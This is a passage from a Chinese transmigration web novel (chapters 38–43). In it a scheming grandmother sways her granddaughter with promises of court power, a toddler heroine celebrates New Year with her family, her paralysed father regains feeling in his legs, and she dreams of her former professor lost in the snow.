“家门不幸……真是家门不幸啊!”老宋氏颓然瘫在椅中,双手无意识地拍打起自己的膝盖,发出“啪啪”的闷响,那姿态全然失了侯府老夫人的端庄,倒像是个走投无路的乡下老妪。珍珠见状,连忙上前,轻轻为她揉着胸口顺气。
其实,当初京兆府成少尹离开后,她就严令儿子彻查含章苑失窃案。可孟二泉回报的结果尽是敷衍塞责,什么线索都查不到,东西如何不翼而飞,又如何运出守卫森严的侯府,竟成了无头公案。
更是话里话外指责就是老夫人行的事。
儿子怀疑她,老宋氏也不是没有疑心过儿子,私下也派过心腹婆子暗暗查访,可所有线索都被抹得干干净净,滴水不漏。
儿子以前隐约向她透露,有牵扯到宫里某位皇子的谋划,所以会不会用到了那里去,又不好明说?
她虽心疼钱财,但想到可能的“从龙之功”,便也半信半疑地压下了疑虑。
此刻被孟绫不管不顾地捅破,她怎能不又惊又怒,气急败坏?儿子或许真拿了钱去办“大事”,但若说他为了外室谋害结发妻子……
虎毒尚且不食子,小宋氏终究是他的表妹,两人也曾有过恩爱时光。老宋氏心底是不相信儿子会狠毒至此的,那更像是孙女情急之下的恶毒臆测。
见张嬷嬷和琥珀得了吩咐,战战兢兢地想要退下,老宋氏强压下翻腾的气血,又哑声开口:“慢着。芝兰苑库房里清点剩下的东西,凡是原本属于柳氏嫁妆单子上的,一样不许留,全都整理出来,尽快搬去该去的地方。若有短缺……就变卖其他物件,务必给我补齐了。”
“祖母!不行!那可是娘亲留给我将来压箱底的体己,是孙女的嫁妆啊!您怎么能就这样给了大房?我娘还没死呢!”孟绫顾不得脸上剧痛,猛地跳起来,冲过去张开双臂拦住张嬷嬷二人,声音尖利。
“不过是从这个院子搬到那个院子,你急什么?”老宋氏看着孙女那副护食的模样,心下厌烦,反而冷静了些,语气透着一股冰冷的算计,“眼光放长远些。等大房死绝了,这些东西,迟早还不是你和你弟弟的?现在不过是暂且存放在他们名下罢了。”
孟绫拦着的手微微松了松,但眼中疑虑未消:“娘亲房里的好东西,哪里比得上大房当初那份嫁妆丰厚?补过去,也是补不满的。”
“罢了!”老宋氏重重叹了口气,像是割肉般疼,“把你祖父当年没来得及分清楚的那些私产,还有公中我能动用的,都折算进去,给她柳氏贴补齐全!总不能让外人揪住把柄,说我们侯府侵占儿媳妇的嫁财!”
说出这话,她心头痛得直抽抽。老侯爷去得突然,没留下只言片语,他的私产和侯府公中的大部分财产这些年都牢牢攥在她手里,大房连边都没沾到。如今却要白白掏出来填这个无底洞,简直是在剜她的心头肉。
她把厅内其余下人连同珍珠都屏退出去,只留下脸上泪痕未干的孟绫,这才朝她招了招手,放缓了声音:“绫儿,过来,到祖母这儿来。”
孟绫迟疑了一下,还是慢慢挪了过去。老宋氏拉过她的手,冰凉的指尖让孟绫微微一颤。
老宋氏压低了声音,近乎耳语:“傻孩子,祖母这么做,是为了谁?你爹……他或许有他的不是,但眼下这条路,他走得未必不明智。这一切,说到底,都是为了你们姐弟俩的前程打算。”
见孟绫抬眼望来,眼中仍有不解和怨愤,老宋氏凑得更近,声音更低,却带着一种蛊惑:“你想想,你爹就算袭了这侯爵,一个没有实权的空头爵位,在如今的京城算得了什么?不过是表面光鲜,照样被人瞧不起。
可若是……若是站对了地方,立下了从龙之功,那可就截然不同了!泼天的富贵,无上的权势,都在后头呢。”
“可是……”孟绫想到库房空空,自家财产尽数搬空,未来仿佛没了着落,依旧惶恐。
“没有可是!”老宋氏语气斩钉截铁,带着不容置疑的意味,同时伸出枯瘦的手指,用力戳了戳孟绫的眉心,“你这孩子,怎么半点心眼不长,只盯着眼前这点蝇头小利?”
她描绘出一幅令人心驰神往的图景,声音充满了诱惑:“你难道就想将来随便嫁个六七品的小官,或是给哪个庶子做正室?若是你爹的大事成了,凭我们侯府的门第,凭你的品貌,我的绫儿……将来就是做个皇子正妃,也不是不可能!那才是真正的风光无限,尊荣一世!你想要那样的日子吗?”
这么大一张又香又烫的饼骤然画在眼前,孟绫彻底怔住了。脸上的疼痛似乎瞬间减轻,红肿脸颊上的怨气渐渐被一种混杂着野心的炽热光芒取代。她呼吸微微急促,反手抓住祖母冰凉的手:“祖母……您说的,是真的?我真的……有可能?”
“祖母何时骗过你?”老宋氏见她动心,心中稍定,脸上也挤出一丝笑意,只是那笑意未达眼底,“如今紧要的是把眼前的难关渡过去,堵住外面的嘴。该舍的就得舍,舍不得孩子,套不着狼。”
孟绫这回终于信了,也顾不上脸肿,将头轻轻靠在老宋氏肩头,声音恢复了以往的娇糯,只是带着鼻音:“孙女知道了……是孙女愚钝,误会了祖母和爹爹。我就知道,祖母最疼孙女了,凡事都会为孙女打算得最周全。”
第39章 恭贺新年
书里那场烧死孟大川的大火,年前年后始终没有烧起来,仿佛被这漫天大雪提前浇熄了势头。
嘉禾庄这个年因此过得格外红火兴旺,处处洋溢着一种劫后余生般的庆幸与欢腾,家家户户的喧闹声、鞭炮声、笑谈声,混着炊烟,将庄子烘得暖意融融,其乐融融,连寒风都似乎柔和了几分。
虽然大雪一场接一场,仿佛天穹的棉絮被扯散了,日夜不停地飘落,将天地捂得严严实实,但由于庄子里提前备足了上好的银炭、黑炭,粮仓里堆满了米面杂粮,各色耐储的菜干肉脯,还有厚实崭新的棉衣袄裤,人人心里都有了底。
家家户户的男丁每日清晨首要之事,便是搭着梯子,小心又利落地将屋顶那层厚厚的、看似松软实则沉重的积雪清除干净,屋檐下冰棱子长了又断,断了又长,却始终没有哪一家的房梁发出过不堪重负的呻吟。
这个寒冬,嘉禾庄竟奇迹般地没有一户人家受灾,平安得让人心生感激。
因着这丰足与安宁,阿沅日日被精心喂养着,肉眼可见地圆润了起来。再冷的北风呼啸,红袖那又红又肿的冻疮,在这个年里竟踪迹全无,一双原本有些粗糙的手捂在暖袖里,渐渐恢复了柔润。
莲子更是变化显著,许是吃得好睡得稳,不必再受冻挨饿,不到二十天的工夫,她原本有些暗黄的肤色竟透出些许光泽,身量也悄悄拔高了一些。
大年初一,天光未大亮,阿沅便被红袖从暖烘烘的被窝里轻轻唤醒。她穿上自己买的那套大红锦缎棉衣,喜庆又贵气。
头上戴了顶同色的镶雪白兔毛的帽子,帽檐一圈蓬松柔软的绒毛衬得她的小脸愈发圆嘟嘟、粉扑扑,像只刚出笼的喜气馒头,白里透红,双眸因期待而亮晶晶的。
红袖一边给她整理衣襟系带,一边忍不住伸手,用指腹极轻地在她滑腻的脸颊上掐了一下,触手温软,惹人怜爱。
“奈奈奈!奈点恭喜窝。”小家伙的心思显然不在别处。没急着往爹娘屋里冲去请安讨红包,反而先趴到床边,小手往自己枕头底下摸索了一阵,哧溜一下滑下床榻,举着几个鼓鼓囊囊、绣工精巧的小荷包,学着大人的模样,挺起小胸脯,开始“派发”。
她屋里贴身伺候的人,这个年怎能亏待了去。
“恭喜小姐新年安康,平安顺遂。”红袖当即盈盈下拜,接过第一个递来的荷包。
入手一掂,沉甸甸的颇有分量,心里估摸,里头装的碎银子怕是不下二两,抵得上寻常人家几个月的嚼用,这份赏赐着实厚重。
阿沅看着红袖恭敬接过,笑得眼睛弯成了月牙,嘴角翘得老高,那得意又满足的小模样,活脱脱一只刚刚成功偷到油、还当了回散财小老板的红毛小狐狸。
红袖将荷包仔细收进怀里,福身又道:“奴婢谢小姐厚赏。”随即连声朝外间唤道:“绿果、红豆姐姐,快进来吧,小姐有赏!”
“来了!”早就候在门帘外的两人,应声轻巧地掀帘而入。她们皆是习武之人,动作灵敏利落,进门后毫不迟疑,当即齐齐单膝点地,声音清脆响亮:“奴婢恭祝小姐新年富贵绵绵,福气沅沅满满!”
“给,泥们的!”阿沅小手一挥,又是两个荷包准确递到二人手中。剩下最后一个略小些的,被她仔细揣进自己胸前的小兜兜里,拍了拍。然后小短手豪气地一挥,“跟窝走,领多多红封去!”。
正想昂首挺胸,迈着自以为威武的步伐领头冲出去,这潇洒却没能维持过三秒。后衣襟便被红袖眼疾手快地从后面轻轻拉住了:“小姐,不急在这一时,咱们先洗漱妥当。”
红袖一边麻利地拧了温热的帕子,轻轻覆在阿沅脸上擦拭,一边嘴巴吧嗒吧嗒地开始解释:“夫人和少爷昨晚守岁到后半夜,这会儿定然起得晚些。奴婢方才悄悄去正屋外头探看过动静了,那边院里才刚有丫鬟起身走动,准备热水呢,咱们现在过去,怕是还要等上好一阵子。”
“哦!”阿沅这才后知后觉地想起什么,任由红袖摆布着小脸,含糊问道,“窝昨晚……是怎么回来的?”她依稀记得自己昨晚是在正屋,信誓旦旦说要陪着娘亲和哥哥一起守岁来着,怎么一睁眼就在自己床上了?后半段全然没了印象。
“嘻嘻,小姐还说呢。”红袖换了块帕子,细致地给她擦着小手,忍不住呲呲笑出声来,“昨儿晚上,才刚过了亥时,少爷故事才讲了一半,小姐您就已经窝在夫人怀里睡着了。后来是少爷亲自把您抱回屋来的,奴婢给您脱外衣时,您还高兴的哼哼了两声呢。”
红袖说到这里,似有些懊恼,小声嘀咕起来:“说起来,昨夜整个院里的人,怕就奴婢和小姐睡得最沉,没有守岁。等会儿见了莲子,那丫头定要拿这个笑话我们贪睡了。”
“嘿嘿嘿!我说怎么一大早起来,右眼皮就跳个不停,原来是红袖姐姐躲在房里说我的坏话呢。”她话音才落,门帘便应声被掀开,一个小身影稳稳当当地迈了进来,站得笔直,可不就是莲子嘛!
今日莲子也换上了一身崭新的行头,一套桃红色的棉衣,衬得人精神焕发。头上戴了个同色的棉布围帽,脖子上也圈着毛茸茸的围巾,这一身鲜亮的桃红,将她原本有些不太白皙的肤色映出了几分健康的红晕,整个人瞧着格外精神。
看见小姐,她立刻俯身,规规矩矩地行了个礼,声音清亮:“莲子给小姐拜年,恭喜小姐,贺喜小姐,过了年又长了一岁!”
“给泥的,”阿沅见是她,立刻从兜里掏出那个预留的小荷包,塞了过去。
莲子却像被烫到似的,连忙后退了两步,双手直摆:“使不得使不得!阿爷阿奶早就叮嘱过了,只有长辈给晚辈发压岁红封,讨个吉利,我可不能收小姐的,这不合规矩。”
“嘿嘿,这个不是红封,”阿沅早料到她会推辞,小脑袋一扬,解释道,“这是过年礼物,不算那个规矩。泥打开看看。”
“礼物?”莲子将信将疑,见阿沅坚持,才小心接过荷包,解开系绳。里面并非预想的银锞子,而是一只沉甸甸、亮闪闪的雕花银手镯。
她轻轻吸了口气,“这……这太贵重了。”嘴上说着推脱的话,目光却不由自主地被那镯子上栩栩如生的富贵鲤鱼雕工吸引住了,那鱼儿仿佛要跃出水面,寓意极好,做工也精致,实在让人移不开眼。
“你戴上试试!”阿沅见她喜欢,更高兴了,直接拿过镯子,拉过她的手腕就往里套。“窝挑的,娘亲说…就该…漂漂亮亮。看,窝们都漂漂亮亮的!”
莲子低头看着腕间突然多出的这份闪亮又实在的礼物,想起自己从前手腕上、脖子上空荡荡,最奢侈也不过是过年时绑的两根新头绳,鼻子忽然有些发酸。
这沉甸甸的不仅是银子,更是夫人和小姐将她放在心上的情谊。她握着镯子,激动得有些语无伦次:“谢……谢谢小姐……谢谢夫人……谢……我……我真喜欢……”眼眶都有些红了。
“嘻嘻!傻莲子,娘亲和爹爹给的红封,咱们还没去领呢!”阿沅看她激动的样子,心里也美滋滋的,一把拉起她的手,生怕她再沉浸在感激里掉金豆子,转身就兴冲冲地往外跑。“快走快走,别让嘚嘚抢了先!”
两个小姑娘,一个一身大红如火,一个桃红似霞,手拉着手,像两朵被冬日暖风催开的花,叽叽喳喳地冲出了房门。
第40章 吓人的礼物
“嘚嘚!嘚嘚!”阿沅穿着一身簇新的红袄子,像个小炮仗似的冲进正屋。她原本是兴冲冲来找娘亲讨压岁钱的,却没在正屋里瞧见娘亲的身影,倒是第一眼就瞅见了那个端坐在太师椅上的熟悉身影。
小嘴立刻撅了起来,能挂个油瓶,她有点生气地跺了跺脚,奶声奶气地嚷道:“嘚嘚不睡觉么?!天都亮啦!”没想还是被哥哥抢了先。
“妹妹不是应该先恭喜哥哥新年康健,学业进步么?”孟怀瑾早就等着她呢,见她这气鼓鼓的模样就觉得有趣,故意逗她。
他慢悠悠地举起一直藏在身后的一件长形物件,那物件用红绸裹着,露出一截精致的雕刻柄端,他笑眯眯地说:“这可是哥哥特意给你准备的年礼,送给妹妹的,祝妹妹新岁……”他本想说“笔墨精进”,好让她多练练字。
话还没说完,阿沅就像只受惊的小兔子,猛地往旁边一跳,连带着头上的小绒花都颤了颤。她的小脑袋摇得像拨浪鼓,双手胡乱在面前挥舞,急急喊道:“不要不要!坏嘚嘚!阿沅不要!”
一旁的莲子起初没看清是什么,但阿沅却是眼尖,透过那没裹严实的红绸缝隙,她瞥见了里面那粗壮得吓人的笔杆和蓬松的毫毛——那分明是个超巨型的大狼毫!比爹爹书桌上最大的那支还要大上一圈!
她的小心肝一颤,大过年的,哥哥就送这个?是嫌她去年写的“鬼画符”不够多,怕她的小手腕今年累不断么?这礼物简直比哥哥平日里给她的的功课还可怕!
“阿沅也来了?快进来,爹爹也正等着你们呢,就听你在外头咋呼。”里间传来柳氏带着笑意的招呼声,那声音温柔又透着浓浓的暖意。
感知到屋内一家人团聚的温情氛围,莲子立刻不动了,她知趣地退后了几步,直到跟青衣姑姑站在一起。
“娘亲!爹爹!嘚嘚坏,初一……初一就捉窝写字!”阿沅逮着了告状的机会,像条灵活的小鱼,躲过一脸讨好、嬉笑着想把大笔往她怀里塞的孟怀瑾,迈开小短腿,“蹭蹭蹭”地径直就往里屋跑。
她急着要去跟爹爹和娘亲告状,哥哥就是看不得她清闲,大过年的一点空闲都不放过,还想用这么大的笔来“折磨”她。
进了里屋,她一眼就看到并排坐在床上的爹娘。孟大川靠着引枕,虽然脸色还有些苍白,但精神看着不错;柳氏坐在他身侧,正温柔地看着她。
阿沅蹭蹭蹭又手脚并用地往那铺着厚厚锦褥的床上爬,一面努力攀爬,一面小嘴不停地说着自己的祝福语言,“娘亲快快好起来,爹爹也快快好起来——站起来,带阿沅骑大马!嘚嘚好……哼,现在也不好!”
“你呀,真是个小淘气,没良心的小家伙。”柳氏被女儿逗乐了,伸手在她努力往上拱的小屁股上轻轻拍了两下,也顺势托了她一把,帮她顺利爬上了床。
“你哥哥为了给你做个可以背在背上的、独一无二的小玩偶,剪坏了娘亲的好几块料子,手上还被针戳了不少窟窿眼儿。你倒好,不领情还告状。”柳氏点着她的小鼻子笑道。
“玩……玩偶?”阿沅猛地转过头,圆溜溜的眼睛瞪得老大,写满了不可置信。
这时候,跟进来的孟怀瑾已经拆开了红绸,露出那“大狼毫”的全貌——原来笔杆部分是用柔软填充物做的圆柱,外面裹着光滑的锦缎,那蓬松的“毫毛”竟是无数五彩丝线精心捻成,丝丝缕缕,在晨光下泛着柔和的光泽,顶端还俏皮地缀着两个小铃铛和几颗小绒球,这哪里是写字用的笔,分明是个造型别致又可爱的大型玩偶!
孟怀瑾憋着笑,把手上的大笔玩偶冲着床上呆住的阿沅轻轻扔了过去,然后才收敛神色,恭恭敬敬对着爹娘行了礼:“爹爹,娘亲,新年好。愿爹爹早日康复,身强体健;愿娘亲天天开心,平安顺遂,青春永驻。”
行完礼,他也一屁股坐到床沿,举起那大大的笔毫玩偶,用那柔软丝线做成的、一点也不扎人的“笔尖”那头,轻轻去戳妹妹肉乎乎的脸蛋和脖子:“喏,妹妹,真的不要么?枉费了哥哥一番苦心,熬了好几个晚上呢。”
说完,他还假装很伤心地用袖子掩上了脸,肩膀一耸一耸的。
那黑色的“笔尖”触感柔软丝滑,带着锦缎特有的凉意,轻轻蹭在皮肤上痒痒的。阿沅总算是彻底相信了,小脸上瞬间阴转晴,绽放出大大的笑容,亮晶晶的眼里满是惊喜。
她“呀”地欢叫一声,小身子一下扑过来,紧紧抱住几乎有她半个身子高的玩偶笔杆,把脸埋在那蓬松柔软的五彩丝线里蹭了又蹭:“要!阿沅喜欢!超级喜欢!不写大字就更喜欢啦!”她欢喜得语无伦次。
圆滚滚的小身子因为扑得太急,一下没站稳,就抱着大玩偶往前扑腾。孟怀瑾眼疾手快,趁势张开手臂将她连人带玩偶一起抱住。小家伙兴奋得脸蛋红扑扑的,像苹果一样,她开心地“咯咯”笑着,小嘴巴无意间在哥哥的脸颊上“吧唧”划了一下。
孟怀瑾心里那点小小的“委屈”立刻烟消云散,高兴起来,也“吧嗒”在她额头上响亮地亲了一口。
阿沅更是笑个不停,抱着她心爱的新玩偶,骨碌一下滚倒在爹娘柔软的被子上,小手小脚乱蹬,玩偶上的小铃铛发出清脆悦耳的“叮铃”声,和着她的笑声,充满了整个房间。
“好,好孩子,都到爹爹这里来。”孟大川早就洗漱完毕,精神不错地靠坐在床上,看着一双儿女嬉戏玩闹,自己也觉得开怀,连日来的病痛都似乎减轻了不少。
第41章 孟大川恢复知觉
他笑着伸出手,想要揽过孩子们,却忽然嘴角一咧,倒吸了一口凉气:“嘶——”,脸上掠过一丝难以掩饰的痛苦神色,眉头瞬间拧紧了。
正扶着妹妹的孟怀瑾吓得心里一咯噔,连忙松开阿沅,挪到床头,伸手扶住爹爹的胳膊,紧张地问:“爹爹?您怎么了?”正准备给儿女让位的柳氏也闻声猛地转过头,连声急问:“夫君?可是哪里痛?是腿还是腰?”
看到爹爹龇牙咧嘴似乎很痛的样子,原本在床上打滚笑闹的阿沅也不敢闹了,知道触碰着了爹爹,连忙手忙脚乱地爬起来,怀里还紧紧搂着她的大玩偶。
然而她爬得急,小脚丫一个没注意,“噗”地一下踩在了爹爹盖着薄被的腿上,正好是小腿的位置。她自己也吓了一跳,惊呼:“爹爹!”
“欸!”孟大川随着女儿这声清脆的呼喊和腿上传来的触感,又是一声短促的惊呼,眉心皱作了一团,但那表情似乎不仅仅是疼痛,还夹杂着一丝难以言喻的……惊异?
这下,几人都惊住了。阿沅抱着玩偶,站在爹爹腿边,一动不敢动,大眼睛里满是惶恐和担忧,以为自己又踩痛了爹爹,有点懊悔。
只有柳氏,在最初的惊慌后,忽然像是意识到了什么,她的手有些发颤,却异常迅速地一把掀开了孟大川腿上的被子。
她看着丈夫穿着寝裤的腿,深吸一口气,那平日里略显娇弱的手,此刻却带着一种决然的力度,一把拧在了他的大腿外侧。
“呲——!”孟大川再次发出一声惊呼,但这一次,惊呼之后,他的眼睛却骤然睁大了,死死盯住了自己的腿。
“爹爹,”孟怀瑾脸上的惊惧瞬间被一种难以置信的狂喜取代,声音都激动得有些变调:“有感觉了是不是?您的腿……有感觉了?”
“夫君,”柳氏看着自己刚才拧过的地方,又抬头看看孟大川脸上那混杂着痛楚和震惊的表情,有点不敢相信自己的眼睛和触感。她想再拧一下确认,可手指颤抖着,怎么也舍不得再下手,只是双手无措地交握着,声音带着哭腔:“是……是真的吗?不是我做梦?”
“爹爹!腿腿痛吗?”阿沅也反应过来了,她把心爱的大笔玩偶往旁边一扔,也顾不得许多,小小的身子“哧溜”一下就钻进了被子。她在被子里窸窸窣窣地一阵摸索,从孟大川的大腿往下,用她温热柔软的小手,这里摸摸,那里掐掐,力道时轻时重,毫无章法,却充满了急切和期盼。
“别!哎哟……这麻嗖嗖的……又有点痒……阿沅,轻点……左边……哎!”孟大川不再仅仅是惊呼,他的声音里充满了各种复杂的情绪——隐忍、试探、激动,还有一丝生怕吓到女儿的小心翼翼,声调变得非常柔和,甚至带着点诱哄。
当阿沅的小手最后顽皮地停留在他的脚底心,不是掐,而是像羽毛一般,用指尖轻轻地、快速地挠了几下时,床上床下的三人同时看到,孟大川那只被挠的脚,脚趾明显地蜷缩了一下,然后整个脚掌竟然微微向上提起,不受控制地瑟缩着躲闪了一下!
“爹爹!您的脚动了!真的动了!”孟怀瑾猛地惊呼出声,激动得突地一下从床沿扑了过来,眼眶瞬间红了。
“夫君!你的脚……你的脚知道躲了!”柳氏喜极而泣,眼泪唰地就流了下来,她忍不住喃喃道,想伸手去摸又不敢,仿佛那是易碎的珍宝:“夫君,你让我……让我再掐一把,看是不是真的,是不是我在发梦……”
可她终究还是不舍得再下手去掐,只是用手背紧紧捂着嘴,压抑着哽咽。
阿沅从被子里钻出小脑袋,帽子都掉了。小脸上却绽放出比刚才得到玩偶时还要明亮灿烂百倍的笑容。
她又笑着伸手去抓挠爹爹的脚底,看到爹爹的脚再次敏感地缩起,她开心得咯咯直笑,最后干脆滚倒在孟大川的腿上,抱着爹爹的膝盖,扬起小脸,眼里闪着无比坚信的光芒。
大声宣布:“神仙姑姑不骗窝!爹爹还可以站起来……可以再骑大马,可以做大将军!”清脆的童音里,充满了对未来的无限憧憬和笃定。
对孟沅而言,孟大川的腿恢复知觉,就不枉她穿书这一遭,意味着这是一个小胜利。侯府大房的命运在这一刻已经在悄然改变。
第42章 梦见老师
大年初一,孟大川的下肢竟开始有了知觉,那阵酥麻感像细小的蚂蚁沿着腿骨悄然爬升,起初只以为是久坐后的气血不通,可当他尝试着微微蜷动脚趾时,那清晰的、久违的牵动感让他猛地怔住了。
这简直是意外之喜,连孟沅都没预想到恢复得这般快,一家人的喜悦几乎要冲破这冬日沉闷的屋宇,围在孟大川身边,轻声细语地谈论着,眼里都闪着光,硬是在屋里多耽搁了好些时辰。
直至一家人吃了所谓的早饭,实则过了午时许久。
饭后,院子里渐渐热闹起来,下人们穿都换上了新衣裳,纷纷过来拜年领赏。
佃户们则带着一身寒气与朴实的笑容,鱼贯而入,在正厅外规规矩矩地磕头拜年,说些吉祥话。
柳氏和孟怀瑾挨个发放用红纸包着的赏钱或一小包饴糖,人人脸上都洋溢着过节的喜气。
这么一番迎来送往,等最后一位佃户千恩万谢地退下,一天大半的光景也就这般悄无声息地流走了。
“带小姐回屋休息吧!”柳氏揉了揉发酸的额角,看坐在蒲团上的阿沅脑袋一点一点,又开始昏昏欲睡,便冲候在门口的红袖招了招手,又回头对正翻阅书卷的儿子温言道:“今日你也累了,瑾儿,回屋歇会儿吧,仔细伤了神。”
不说儿子女儿,柳氏自己也是一脸倦容。平日里歇得早,昨晚守岁熬了夜,今日又劳神应酬,这身子骨还真有些吃不消。
阿沅被红袖抱回西厢房,一看见那厚重的冬被和垂下的幔帐,便迫不及待地轻捏手心,一闪身进了空间里舒适的休息室。
外间屋里虽燃着两盆炭火,噼啪作响,床上也垫了两床厚实的棉被,可怎么也比不上自己这休息间——中央空调送出恰到好处的暖风,硅胶床垫贴合着身体曲线,木棉枕头蓬松柔软,丝绒薄被轻若无物。阿沅把自己埋进这一片温暖舒适里,几乎立刻就坠入了沉沉的梦乡。
暖暖的,好舒服啊!梦境倏忽展开,竟是绿树成荫,花团锦簇,耳畔鸟语啁啾,鼻尖花香隐约。
旁边那道花墙上,粉色、红色、紫色的三角梅开得如火如荼,热烈地攀援着,几乎要流淌下来。
远处湖面波光粼粼,几只野鸭悠闲地划水,白鹭时而掠过水面,时而翩然飞起,在湛蓝的天幕上留下优雅的剪影。
这不是穿书前,她几乎每日都要晨跑夜跑的南湖公园吗?她甚至清晰地看到了不远处的湖心岛和那座熟悉的拱桥轮廓。是的,连从她身边轻快越过的人都穿着休闲运动服或是专业的跑步装备,空气里弥漫着青草与湖水的气息。难道……
她这是又穿回来了么?一股巨大的、混杂着茫然的喜悦涌上心头。
正在暗自庆幸、几乎要雀跃的时候,忽然看见迎面跑步而来一个熟悉的身影,步履沉稳,身形清瘦。“杨教授!”孟沅情不自禁地惊呼出声,这是她的恩师,农大的研究生导师杨立生,那位学识渊博、待她如亲孙女般的老人。
孟沅停住了脚步,心中涌起他乡遇故知的狂喜,几乎是本能地伸出了手,脸上绽放出灿烂的笑容。她以为老师见到她也会同样惊喜,不仅会握手,说不定还会给她一个慈祥的拥抱。
却不想,那位名义上在跑步、实则最多算是快走的老人,对她的热情呼喊和伸出的手竟视若无睹。
他面容平静,甚至带着惯常思考时的微微出神,目光仿佛穿透了她,落在更远的地方,就那么云淡风轻般从她身边掠过,衣角都没碰到一丝,恍若她是路边一棵无关紧要的树,或是空气中一抹无形的尘埃。
孟沅愣住了,随即以为老师在跟她开玩笑,故意逗她。她忍不住转身,小跑着跟了上去,再一次提高声音,带着点撒娇和急切:“杨教授!是我呀,孟沅!您的学生孟沅!”
那道清瘦的背影却好似忽然被什么催促着,蓦地加快了脚步,竟跑得有些踉跄却异常迅速,完全不似平日里那位从容温和、年过六旬的老教授。那背影很快缩小,融入晨跑的人流,消失在了绿道拐弯处。
“啊嘁!”孟沅猛地打了个喷嚏,一股没来由的酸楚直冲鼻尖,眼泪莫名其妙就涌了出来。同时,一股刺骨的寒意毫无征兆地袭来,仿佛瞬间从温暖的春日坠入冰窟。四周的景象也奇怪地晃动、模糊起来,像浸了水的油画,色彩融成一团,逐渐被一片茫茫的白雾吞噬。
白雾散去,视野重新清晰,却是另一番天地。空旷,寂寥,满目皆白——厚厚的积雪覆盖了田野、道路、屋舍。这环境依稀熟悉,怎么好像又回到了庄子附近?那影影绰绰的轮廓,似乎是嘉禾庄的大门楼。
巨大的失望攫住了梦中的孟沅:终究是回不去了啊……即使在梦里,她也在懊恼地捶打自己:怎么就回不去了呢?
只是,前面雪地里,那个深一脚浅一脚艰难挪动的身影,怎么……那么熟悉?虽然换了装束,那清瘦的身形,微微佝偻却又带着某种执拗的姿态,分明还是杨教授!
只是他身上那套宽松舒适的运动装和跑鞋,已换成了一身看不出原本颜色的破旧长衫,脚上是一双单薄的、沾满泥雪的布鞋。
这大雪纷飞、天寒地冻的时刻,他看起来落魄极了,步履蹒跚,跌跌撞撞,仿佛随时会被寒风刮倒。他这是要去哪儿?是……来找她的吗?
一股心酸和急切冲上心头,孟沅不顾一切地跑上去,积雪没到小腿肚,冰冷刺骨。她伸出双手,想要搀扶住那摇摇欲坠的老人。就在她的指尖几乎要触碰到他那冰冷衣衫的一刹那——
“啊嘁!”又是一个剧烈的哆嗦和喷嚏,寒意透骨。
“小姐,”红袖带着惊惶的呼声仿佛从很远的地方传来,紧接着是幔帐被急急掀动的窸窣声。孟沅吓得一个激灵,连忙捏住了手心,想要把自己从这混乱冰冷的梦境中意念出来。
却没想,意识骤然清明,睁眼一看,自己已然躺回了屋里那张简陋的拔步床上,身上盖着厚重的棉被。
她是做梦时无意识地捏了掌心,所以出来了?还是……梦中杨教授在雪地蜷缩的惨状,像一根冰冷的针,把她硬生生刺了出来?孟沅拥着被子坐起,心脏怦怦直跳,额角渗出细微的冷汗,一时之间分不清在梦里还是在现实。
“小姐,可是做噩梦了?”
红袖一双温热粗糙的手探进来,不由分说地将她刚才因惊悸而伸出被子的手压了回去,仔细掖好被角,嘴里絮絮叨叨,满是心疼与后怕,“您看,小手都冰了!定是伸出去受了凉。可不敢再这样,仔细冻着,夫人知道了,待会非给您灌上一碗浓浓的姜汤驱寒不可。”
原来刚才梦中那刺骨的寒冷是真的,是因为自己不但出了空间,还在无意识中把胳膊伸到了冰冷的被窝外。这时,绿果和红豆也一前一后掀了棉帘进来,各自手里捧着一个刚加好炭、烧得正旺的炭盆,炭火的红光映着她们担忧的脸。
“都怪奴婢们不好,”绿果将炭盆小心放在床脚,懊恼道,“不该两个炭盆同时端出去加炭,留小姐一人在屋里。”
“小姐,您没事吧?脸都有些白了。”红豆也放下炭盆,凑近来看,伸手想探孟沅的额头。
“外面天黑了吗?”阿沅避开她的手,兀自问道,声音还带着一丝梦魇初醒的微哑,她心里那点蹊跷的感觉越来越重,像雪球般滚大。
“快了,估摸着再有一会儿就全黑了。”绿果看了看窗纸答道,“小姐既醒了,就起来吧。夫人和少爷都起身了,夫人正吩咐厨房的婆子上羊肉锅子呢,说今晚天冷,吃锅子暖暖身子。”
“快!快帮窝穿衣服!”阿沅闻言,像被什么扎了一下,一骨碌就从被窝里爬了出来,动作快得让两个丫鬟都愣了一下。那个梦太清晰,太真实,那种心慌和紧迫感萦绕不去,她总觉得有什么事情要发生,或者……已经发生了。
梦境里天还是亮着呢,再拖下去,老师被雪埋了也不一定。
“小姐,也不用这么急,锅子还得准备一阵呢。”绿果和红豆以为她是肚子饿得狠了,连忙放下手中活计过来帮忙。
第43章 救人?
三人手脚麻利,一个烘衣服两个穿,一件件给她套上,没一会儿,又重新把她裹成了一个圆滚滚、红彤彤的棉球,只露出一张犹带惊恐的小脸。
“绿果!红豆!带窝出去!窝要出去飞!”衣服刚穿妥,阿沅脚一沾地,就像只受惊的小兔子般埋头往门外冲,嘴里含糊却急切地喊着。
两人吓了一跳,连忙追上去,一左一右拦在正屋入口,连声劝道:“小姐,不可!万万不可!外面雪大着呢,天又快黑了,路滑不好走。”
这眼看就要天黑透的暴雪天气,寻常有事都轻易不敢往外跑,哪能任由三岁的小主子跑出去玩耍?
阿沅人小腿短,又穿得臃肿,哪里跑得过两个手脚利落的丫鬟,还没跑出几步,就被四只有力的手轻轻提起,几乎是架着转了方向,送回了正屋。
“你们!不听发(话)!气四(死)窝了!”阿沅被搁在正屋地上,气得跺了跺脚,小脸涨红。
可梦境之事难以解释,她也不再执拗硬闯,只是那股不安在胸中翻腾。她越过正吩咐摆饭、一脸询问望过来的娘亲,径直跑向了里屋爹爹的床边。
蹭蹭蹭几下,连脚上沾了雪泥的靴子都顾不上脱,她又手脚并用地爬上了床。
“爹爹!”阿沅有点气喘,胸口因急切而微微起伏,小脸上混合着未褪的惊惶和某种下定决心的倔强。孟大川正靠在床头闭目养神,闻声睁开眼,立刻看出了女儿的异常。
“怎么了,这是?”孟大川的声音温和而有力,大手一捞,便将那圆滚滚的一团圈到自己臂弯里,“谁又惹我家宝贝沅沅不高兴了?说来爹爹给你做主。”他用手指轻轻刮了刮女儿冰凉的小鼻尖。
“爹爹,窝要出去。”阿沅仰着脸,黑葡萄似的眼睛里写满了认真,其实以她的心智,说话本可以更利索些,但此刻她不敢显露太多,只得继续装着三岁孩童的口齿不清,努力表达,“现在就要!”
“入了夜,雪只怕更大,风也紧,去不得。”孟大川只当是小孩子关了一天闷得慌,想出去玩雪,便放柔了声音规劝安慰,“乖,明日,明日天光好些,爹爹让哥哥带你去堆个大大的雪人,好不好?”
